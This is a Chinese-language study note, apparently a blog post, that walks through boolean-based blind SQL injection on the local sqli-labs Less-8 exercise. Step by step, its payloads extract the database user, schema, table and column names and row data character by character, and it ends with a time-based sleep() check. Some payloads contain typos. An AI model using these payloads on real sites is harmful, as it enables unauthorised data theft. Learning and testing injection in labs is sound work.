在一些站点隐藏了错误信息的情况下,联合查询以及报错注入的方法均无法注入出数据的时候,需要用到盲注的方法来进行注入。
   基于布尔的盲注是根据页面差来进行判断和数据注入的。在存在注入的页面输入and(true)则返回页面1;输入and(2)则返回页面2.而页面1和页面2有差别,常见的情况是页面1是正常页面,页面2是错误页面。
    substr(str,pos,len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始的。
    大致形式为 id =1‘ and 1(这里的1为select语句替换) = 1(这里的1为实际判断长度替换)

下面是实验:

1,判断当前数据库用户名的长度(用于逐位猜测用户名)。

http://127.0.0.1:8010/sql/Less-8?id=1’ and (select length(user()))=14 --+ //可以看到当前数据库用户名长度为14,有必要提一下这里的user()和database()一样是一个函数,指当前数据库用户名。

mysql 布尔类型数据库0或1 sql布尔类型注入_ci

2,逐步猜解当前数据库用户名
and(select ascii sunstr(user(),1,1)) =114 --+ //这里用ascii码值返回用户名,返回的为用户名第一个字节的ascii码值,可以通过ascii转码得出第一位为r。之后一共还有14为数字,把user()后面的数字一次从1改到14判断即可,这里不再一一列举,用户名为root@localhost

mysql 布尔类型数据库0或1 sql布尔类型注入_用户名_02


mysql 布尔类型数据库0或1 sql布尔类型注入_mysql 布尔类型数据库0或1_03

3,判断当前数据库长度

and(select length(database()))=8 --+

mysql 布尔类型数据库0或1 sql布尔类型注入_mysql 布尔类型数据库0或1_04


4,逐步判断当前数据库的名字

and(select ascii(substr(database(),1,1)))=115 --+//经ascii转换可知第一为为s,依次转换下去即可知当前数据库为security

mysql 布尔类型数据库0或1 sql布尔类型注入_mysql 布尔类型数据库0或1_05

5,判断security数据库中有多少个表名,即有多少个表

and(select count(table_name) from information_schema.tables where table_schema = ‘security’)=4 --+ //这里count()指获取数量,已经判断出security数据库下有4个表

mysql 布尔类型数据库0或1 sql布尔类型注入_ci_06


6,猜测第一个表的长度,从而逐步猜测第一个表的各个表名。

and(select length(table_name)from information_schema.tables where table.schema=‘security’ limit 0,1)=6 --+ //这里limit表示从第一行开始输出,一共输出一行

mysql 布尔类型数据库0或1 sql布尔类型注入_用户名_07


7,逐步猜测第一个表的六个字符

and(select ascii(substr(table_name,1,1) from information_schema.tables where table_schema = ‘security’ limit 0,1)= 101 --+ // 这里判断出第一个字符为e 修改table_name后的参数为2,3,4,5,6可以依次查看出此表的剩下字符,修改limit后的参数依次为1,2,3。可以将查看的行数依次移到2,3,4行。经查阅此表全名为emails。

mysql 布尔类型数据库0或1 sql布尔类型注入_ci_08


8,猜测表emails有多少个字段,即有多少个列名

and(select count(column_name) from information_schema.columns where table_name =‘emails’)=2 --+ //这里判断出有两个字段

mysql 布尔类型数据库0或1 sql布尔类型注入_数据库_09


9,模仿刚才查看表明的方法,依次判断字段长度

and(select length(column_name) from information_schema.columns where table_name = ‘emails’ limit 0,1)=2 //不难判断出emails表下有两个字段

mysql 布尔类型数据库0或1 sql布尔类型注入_用户名_10


10,根据刚才判断表名的方法来判断列名

and(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=‘emails’ limit 0,1)=105–+ //猜测出字段名为id,emails_id

mysql 布尔类型数据库0或1 sql布尔类型注入_ci_11


11,依次猜测各字段下内容数量

and(select count(id) from emails)=8 --+ //可以看见id下有八条内容

mysql 布尔类型数据库0或1 sql布尔类型注入_ci_12


12,从第一行开始依字段猜测内容

and(select ascii(substr(id,1,1)) from emails limit 0,1)=49–+ //猜测剩余表内内容,可依此修改substr()和limit中的参数 substr中的第二个参数代表从第几列输出,limit中的第一个参数代表从第几行输出。

mysql 布尔类型数据库0或1 sql布尔类型注入_用户名_13


至此,一次基于布尔的盲注就结束了。

包括基于时间类型的盲注,可以通过类似于

and if(1=1,(sleep(6),1)
 and if(1=2,sleep(6),1)

来判断是否存在时间注入漏洞,这里sleep指的是休眠时间,即条件为真时休眠6秒执行,否则1秒后即执行。

和本文的and 1=1查看返回页是否相同是类似的方法,就不再一一细述。

本文仅为笔者笔记,如有差错请及时联系更正,欢迎大家共同交流学习心得,非常感谢!